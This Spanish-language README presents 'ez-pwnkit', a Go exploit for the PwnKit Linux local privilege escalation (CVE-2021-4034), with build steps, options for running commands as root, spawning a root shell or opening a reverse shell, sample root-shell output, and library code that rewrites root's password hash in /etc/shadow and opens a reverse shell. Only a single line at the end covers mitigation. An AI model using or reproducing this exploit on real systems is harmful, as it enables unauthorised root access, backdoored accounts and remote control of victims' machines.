
Implementación en Go del exploit de escalada de privilegios local PwnKit para Linux (CVE-2021-4034)
Una implementación en Go puro del exploit CVE-2021-4034 PwnKit.
El exploit utiliza syscall.ForkExec para sobrevivir al final del programa principal.
git clone https://github.com/OXDBXKXO/ez-pwnkit.git
cd ez-pwnkit
make
Como el exploit depende de una biblioteca compartida maliciosa, se genera un archivo PWN.so a partir de payload.go y se incrusta en el ejecutable exploit resultante.
El Makefile utiliza sed para cambiar temporalmente el nombre del paquete del archivo payload.go a main, lo que hace que este Makefile sea exclusivo de Linux.
Como el payload en Go no es tan fiable como el de C, el Makefile compilará el exploit con el payload en C por defecto. Puedes elegir compilar con el payload en Go usando make build_go.
$> ./exploit -h
Usage of ./exploit:
-c string
Run command as root in separate process
-o Pipe output of forked command to terminal
-r string
Open a reverse-shell in separate process. Format: ip:port
-s Spawn a root shell
El exploit puede usarse con un comando (-c), como reverse-shell (-r) o para lanzar una shell root (-s).
$> ./exploit -s
sh-5.1#
$> ./exploit -c "cat /etc/passwd"
$> ./exploit -o -c "cat /etc/passwd"
[/etc/passwd content]
package main
import (
"github.com/OXDBXKXO/ez-pwnkit"
)
func main() {
// Change root password to 'password'
ez_pwnkit.Command(`sed -i -e 's,^root:[^:]\+:,root:$6$eymNRCK.KxwDM6vu$idH0swGW1nsnLb8fT1QibUho5xg7uGJT7fuiheLZHIi9M4gTSk0qIOlUIk2Mm9/Nz5C.T4GkgkmLcK5BtOPkS0:,' etc/shadow`, false)
// Open a reverse-shell
ez_pwnkit.RevShell("127.0.0.1:1337")
}
Ten en cuenta que Command y RevShell utilizan syscall.ForkExec para ejecutar el exploit, por lo que los procesos resultantes son independientes del programa principal y sobreviven a su finalización.
Aunque go-PwnKit puede importarse a tu proyecto desde Github, no olvides que ejecutarás una biblioteca compartida no confiable como root. Por ello, se recomienda encarecidamente usar un PWN.so compilado localmente. Solo digo 😚
$> ./exploit
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-5.1#
Parchea pkexec si es posible; de lo contrario, desactiva el bit setuid en el binario pkexec.
chmod 0755 /usr/bin/pkexec
Este proyecto está inspirado en varios otros PoCs del exploit PwnKit.
Gracias a An00bRektn por la configuración directa del exploit.
Gracias a PaterGottesman y berdav por la claridad en la explicación del exploit.
Gracias a dzonerzy por el truco de GIO_USE_VFS.